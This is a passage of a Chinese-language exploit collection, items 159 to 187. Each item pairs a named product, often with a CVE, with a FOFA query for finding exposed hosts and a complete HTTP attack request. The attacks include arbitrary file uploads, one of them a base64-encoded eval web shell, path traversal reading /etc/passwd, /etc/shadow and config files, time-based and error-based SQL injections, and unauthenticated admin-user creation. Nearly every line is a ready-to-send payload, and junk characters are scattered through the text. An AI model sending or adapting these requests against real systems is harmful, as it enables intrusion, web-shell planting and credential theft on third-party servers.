* g. m+ I* k: L( \" W4 r) uPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
4 f9 E* i8 |9 Z1 V% i9 f% PContent-Type: application/x-www-form-urlencoded

- K/ |5 |7 r* {- j, J' Oobject=displayregion&contenthistid=x\'&previewid=1

0 T) R/ `& U) T) t
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
7 ^. g+ R8 m) S" `4 BFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
9 z" \( Q" g  s4 hPOST /webservices/WebJobUpload.asmx HTTP/1.1
3 O  \: o6 d" c1 r0 E1 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
$ d+ V2 x: c/ h* D" \6 ~Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
) x3 U$ S  n" }3 h. U9 T! dSoapaction: "http://rainier/jobUpload"
3 u6 X, P7 P, w  G8 x
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
& m( j' s* w4 w9 I+ B" a/ D<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
0 f$ x* u- b, N" e; ]<subFolder></subFolder>
* X1 |8 N6 v4 X# D( q1 m5 m/ G1 H<fileName>abcrce.asmx</fileName>
( _7 F! T# J: q, V% w: }* o<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
0 y/ `2 C4 e9 w6 ^+ E9 G5 {</soap:Envelope>

# a" p2 O. z7 L+ z% r0 e, l# m7 z
% D* v# G. |& W9 C9 {  c* P/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
4 F1 i; W9 O  w- p, y1 T/ \
5 v& m, |# ?3 a
160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
3 z5 \3 q; L9 O: |8 y8 a2 y. ?5 f  `7 VFOFA：title="Nexus Repository Manager"
1 t" R8 Y9 p& {. x+ f; M! M( I! vGET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
0 U' L: v: E7 g- @$ c  x) |+ ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
) ], n  s' o- v0 k: @; ~/ u& GAccept-Encoding: gzip


161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
POST /Webservice.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 445
Content-Type: text/xml
  x' B- w3 @4 l, `Accept-Encoding: gzip

6 f) ?8 v. d; V% Z+ s% y<?xml version="1.0" encoding="utf-8"?>
/ S/ `5 B2 R7 N8 i0 C<soap:Envelope xmlns:xsi="
* P$ |5 \- m8 z2 ]" K9 dhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
9 e8 Q# a: y  C# W' Nxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
2 P7 V' A7 m4 L) l" B, |<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
<fileName>../../../../dizxdell.aspx</fileName>
" b% Q; P3 O: U. n6 G, s" ~5 J<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
, A( T3 I% [- ~& }8 C: B</UploadResume>
</soap:Body>
+ k4 t; I% k0 ?) a9 @" X7 r</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
, w+ Y4 a$ ~7 W0 P4 h2 Q: M9 p/ i
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
: n" h5 @& B+ z5 V% E4 aPOST /QH.aspx HTTP/1.1
6 N4 b; z/ Q4 X, oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 583
$ k' m; Y3 e* QContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
; m2 n+ q1 a3 iContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream
5 G  {7 R* G( x5 p5 N
4 y  w# }- J3 s+ k<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
8 Z, a4 f. {9 a. q1 w  TContent-Disposition: form-data; name="action"

upload
8 o! F! t, ^- F( T2 O  n8 j------WebKitFormBoundaryeegvclmyurlotuey
4 i2 ^7 a) B: ~4 g( ?Content-Disposition: form-data; name="responderId"
% k; k/ ~$ L' `0 l6 v0 X1 n( r
ResourceNewResponder
6 B- L0 |9 D) h$ t------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="remotePath"

/opt/resources
------WebKitFormBoundaryeegvclmyurlotuey--
+ B! c' A: A# L
5 i, _; R, ^1 `* K9 W8 R: N. J
http://x.x.x.x/opt/resources/kjuhitjgk.aspx
3 ~7 N8 ?  S5 |/ F6 v. n! S; r
+ e$ o. W/ O5 E! E9 R163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
" Y/ i9 h' {+ y- U6 D1 \+ lFOFA: icon_hash="-795291075"
4 p! g7 I% }& i% Z7 rPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
) p- V1 n* C* \* P% VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
8 a- s/ s/ g) {: ]( |$ B0 D! yContent-Length: 293
Accept: */*
Accept-Encoding: gzip, deflate
% X% C! R: t) k0 iAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

------iiqvnofupvhdyrcoqyuujyetjvqgocod
3 e/ v# n: {, y2 L  [4 S4 VContent-Disposition: form-data; name="name"
* b0 f. V; _: x' H9 z; Z1 y# V
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
( d6 g% R. G, R" ]% p* x. RContent-Disposition: form-data; name="upfile"; filename="1.php"
: k& r! x) @# R' RContent-Type: image/jpeg
. u% O8 |+ n5 b# N5 o9 E) t
rvjhvbhwwuooyiioxega
$ p1 B* `3 O9 V( l------iiqvnofupvhdyrcoqyuujyetjvqgocod--
, x  V% l  \; S- Y9 n9 ?& C

$ O8 Y; V/ d5 a6 F164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
FOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
Accept: application/json, text/javascript, */*; q=0.01
5 f; o/ v0 G5 S0 ]5 |% S5 j/ @8 yAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
* Q" a7 j# n' w9 x/ p5 k& `X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
( [) U! s; e$ T
5 A7 K. ~% r2 P------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg
" G4 D7 G# x8 r- e" G/ H# k
<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
2 J! c3 Z, X2 t  y# {------dqdaieopnozbkapjacdbdthlvtlyl--


; ?' j2 H8 V, [: L8 Ghttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
. t2 d! Y. `7 l. `1 \
165. OrangeHRM 3.3.3 SQL 注入
, ?( z1 @# o' r! ?/ NCVE-2024-36428
FOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
* k2 ^  {; r. R$ f3 ^7 o
9 \+ s/ T9 P6 V
166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
" p; ^2 A9 e& r* I. ^* DPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
3 c3 u8 d" L$ Z3 `; P3 AHost:
% y% U0 I: v  Q4 wPragma: no-cache
0 m: C- [6 }' `0 {! P. YCache-Control: no-cache
  O* n' \# \6 j  b# H  ~0 t. s9 NUpgrade-Insecure-Requests: 1
9 k  q* u0 R$ m5 O& L$ }; VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
4 I1 d1 q9 ]( D4 qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& d: Q$ P- w3 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
) Z- R- |# J/ x5 g( n7 e( Z( qContent-Type: application/x-www-form-urlencoded
Content-Length: 89

/ u  a$ j" r, i& v# N1 hMethod=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE
& H& |1 J+ _* i; N
7 M& E% q7 e; h5 b! D' x
0 I# H: g# T1 O6 Z167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
- R& B1 Y6 j: ?- W" F( AGET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
9 ~: R' i9 _4 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 L6 [& |: R( T. }4 c0 N! a; aContent-Type: application/x-www-form-urlencoded
2 z$ @3 k) X0 ?" r# pAccept-Encoding: gzip, deflate
* b; B4 A7 ?$ PAccept: */*
! W$ T2 I: s) A6 P4 U; W: F  c) GConnection: keep-alive
4 I9 c. p) C: j( p

  a& f6 f6 x7 l: p% P2 h; B168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
- }/ O. m/ L' ]: k% n2 G0 iHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% `/ e) Z" P+ \. v* R6 `" s- yConnection: close
* K8 f, L6 m2 ?7 c* o; n3 U( `6 L4 U

# t6 \8 K  F; r
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
; q* F6 S7 _3 U3 n0 I( ~1 YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
  v2 G* `; e' }9 Z/ ^Connection: close



. }6 b: v0 l/ h$ c170. 宏景EHR DisplayExcelCustomReport 任意文件读取
FOFA：body="/general/sys/hjaxmanage.js"
( g3 o' w9 |; |9 rPOST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
. d7 ?5 n4 U3 Z, ]Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
$ H% h3 l' K9 }& {( N  @Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml


7 O9 ^5 v- W/ {171. 通天星CMSV6车载定位监控平台 SQL注入
% G4 u! t4 }8 b: hFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
7 B" C) b4 n7 `/ T4 d& z' E" {0 KHost: your-ip
5 O1 [+ S) s( `" g; WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
. v3 K& T4 O( r, C) FAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  V; \% F) H. aAccept-Encoding: gzip, deflate
Connection: close
$ _: J  s8 S; e9 l# z5 l3 P2 R

. u5 [3 P( k! Y' F
  v2 @( u7 s7 ^; K* y172. DT-高清车牌识别摄像机任意文件读取
FOFA：app="DT-高清车牌识别摄像机"
! ^/ R8 d7 A6 j, n0 U/ ?: `+ DGET /../../../../etc/passwd HTTP/1.1
Host: your-ip
6 {" g  S+ [2 W" l$ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
) v. ^/ I3 q) Q1 \. KAccept: */*
& n" T8 a7 y; q8 qConnection: keep-alive
% a: ]( p( r) N5 c: ?


173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
2 E, c- ]% u& X. Y9 UHost: your-ip
Content-Type: application/x-www-form-urlencoded
* O' n# C+ v6 m' t) u3 j) [; t$ c
aCSHELL/../../../../../../../etc/shadow


! |6 U8 y8 B! T
8 M2 X" ]( y5 q174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
0 [6 v3 b' U+ E5 D/ BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ l, q2 S* y( d3 w* zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) S7 o( f* [6 cAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
( \* \/ c" K) b+ AConnection: close
; G8 A( S7 [* V  }* e1 ?

5 R! O( T& R) g# o* U
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
FOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
2 [( N0 H" e% X& U! j6 ]Host:
( a; g! m0 K, }% m" P$ c& eUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
6 ^# }2 m) i& n/ \6 g& D9 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! A$ C/ X% U0 w7 Q$ t( X! {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
# P. s0 H- A* h1 H( ^/ EConnection: close
Upgrade-Insecure-Requests: 1
! d) `( K& w9 e' P; r
9 @6 X# x: `/ P; Y
176. 电信网关配置管理系统 rewrite.php 文件上传
+ F+ |* p& M6 AFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
' D; d9 w6 J, K, Q' f& n) M6 _( oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
! K) J5 [! ?8 B* O6 _Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close
$ q% V6 O" W3 ]& R/ a# h
8 a8 u" C) U9 }2 g3 N------WebKitFormBoundaryOKldnDPT
0 [8 s1 Z, I5 rContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

% C  j& M+ O' i' [" X<?php system("cat /etc/passwd");unlink(__FILE__);?>
  `: R# _4 f% w6 ^" e" u/ ^, G& v------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


------WebKitFormBoundaryOKldnDPT--
% x6 u6 `8 N) G- i

) z. H) r- H$ {( Q) m6 \
177. H3C路由器敏感信息泄露
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
+ v- ~6 t& M$ V1 `: s0 s1 J/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
% ^* h% f* p/ e* h0 ~/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
+ Y; z/ ]$ S2 R" k' V/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
+ X/ Z1 j+ K/ g0 w% B+ f/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
- D7 c4 }- T* b( }/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
2 v& h# S3 k0 n' t) k: @/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
/userLogin.asp/../actionpolicy_status/../ER3100.cfg
% d' h6 l$ N) E& k) ]1 ?/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


' H; H* @) Q, B- m3 l178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
$ F8 ^5 o3 \% I2 \POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
) B& Q1 |2 |2 w9 g* H/ ~) o* }" mHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
4 z% u% \, [5 ?5 fConnection: close
Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
. Q% o$ ]7 b, A+ |+ Q2 P: qContent-Disposition: form-data; name="12234.txt"; filename="12234"
: e  G. B/ v& v! L8 mContent-Type: application/octet-stream
8 D  _  `8 D9 \+ t: fContent-Length: 255
; ]) A* y( @$ T$ U) I( z
12234
; ^/ ^, u! c. N-----------------aqutkea7vvanpqy3rh2l--
8 X$ u8 [: Y8 ~4 N7 T/ i
! E( u2 J/ ?) R, O5 D# J
2 K. B9 o7 a9 a5 OGET /imc/primepush/%2e%2e/flex/12234.txt

6 @( B, R" s* d0 c6 o4 ?
9 ^0 E7 m5 V, Z* F2 c$ r( p179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
1 g/ Y$ ?' O4 i, I3 O; VContent-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
  b: O6 h# \& p; j
path=../log4net.config&Name=


180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
' I0 I: f+ T& ?6 _3 hGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
, x9 h0 ^7 A' j& o5 q% A2 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. H1 x# z% S, B7 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
5 _/ W! {& g" d: f. FAccept-Language: zh-CN,zh;q=0.9
Connection: close

0 q# W, o$ @/ |4 Z" Z& L
, A/ ~' `4 p, z% u. p& r) V181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
FOFA："PDCA/js/_publicCom.js"
" w; O4 C3 s( R1 G) B! K# O* {+ `8 uPOST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
8 I2 z- ]5 ^( W! m) h1 n- R; Y' J$ G4 ^: kHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
1 K) m/ c$ p5 x+ U2 y" z( P2 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
6 ]& K3 O" G' t9 LAccept-Language: zh-CN,zh;q=0.9
5 G4 w8 G/ ^) y9 k& [6 ZConnection: close
! F5 D; A8 h# v9 ^. S3 A1 }9 z% zContent-Type: application/x-www-form-urlencoded

8 T" f" |' O! E3 _! P
- T5 b* B! r3 E% v% Z+ Z- Haction=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
7 G# Y+ K9 B' `7 F$ S
: L8 K% N/ b! Q9 c' q3 Y
7 N2 @( E8 W: ^7 F4 J182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
FOFA："PDCA/js/_publicCom.js"
! L1 o3 _$ i6 S: m5 w( A) w6 bPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
* _! {, F5 _6 Z; ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ v0 \6 c$ U4 Z4 o$ V* BAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
! o+ F' \2 p" `( ?0 [" l$ xConnection: close
Content-Type: application/x-www-form-urlencoded
/ H; U# T2 Y" K0 \' z
' F( \, t% S8 D) n5 |, s! ~  z
; J% b; }/ r; C3 [9 l8 R" Husername=test1234&pwd=test1234&savedays=1

% [0 x$ I3 E: M' R
5 ~+ K; |& z+ W% b9 }: s7 L183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
& ]9 Q# L) l  Y& C0 X) \$ AFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

2 J/ x% Y( B/ n
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
* L: k' m# I" HHost: your-ip
. [& l6 d9 @8 dAccept-Encoding: gzip, deflate
: {9 Y  c& d$ D$ Y& `User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: application/xml, text/xml, */*; q=0.01
/ y5 @+ ]1 B! Y+ \/ H3 iContent-Type: text/xml; charset=utf-8
/ \$ b' R) F. `6 g( [. g- H2 DAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
8 D7 Z' R/ @6 T* @
2 ?. K3 Q% B$ i2 b4 L$ M
  {3 L& s, n3 `+ u* l2 @% jinsert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')
  @$ d+ C& @" Z( P2 s

185. 瑞友天翼应用虚拟化系统SQL注入
! e- q- E4 o+ F& @- i# E& yversion < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
GET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host


1 S% e9 [6 s0 m; O; O* ^186. F-logic DataCube3 SQL注入
CVE-2024-31750
# B3 g0 ?- N3 L, ]: HF-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
9 \6 t$ E0 L8 {4 w( l- aFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
' R- Y. z! a) P8 Z6 [0 ~Host: your-ip
1 r4 R& O3 J5 q5 a* Z2 GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
+ _* }' g: F6 S9 Z0 |% G  x3 c9 CAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
$ p/ b. i# ~8 J4 H: i: M/ YAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' W. F8 x& C& J9 B9 BAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
, _7 O1 n! N+ i3 i6 w7 u2 J
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
! V9 X! l& V0 W( r4 Y+ H% r/ l- v
0 e6 f$ ]9 v( V1 s0 ]) O3 V
3 i7 |# t6 s0 o% b* k" V/ Y187. Mura CMS processAsyncObject SQL注入
# ]2 D; i; b) K2 t! [0 x: K* FCVE-2024-32640
3 M4 C0 B1 K) J' jFOFA："Mura CMS"
6 V' l; ~9 P% aPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
. y' L: y+ r. S8 ^2 U0 m

object=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
' `) J& y: E, r8 L+ ?. N9 i

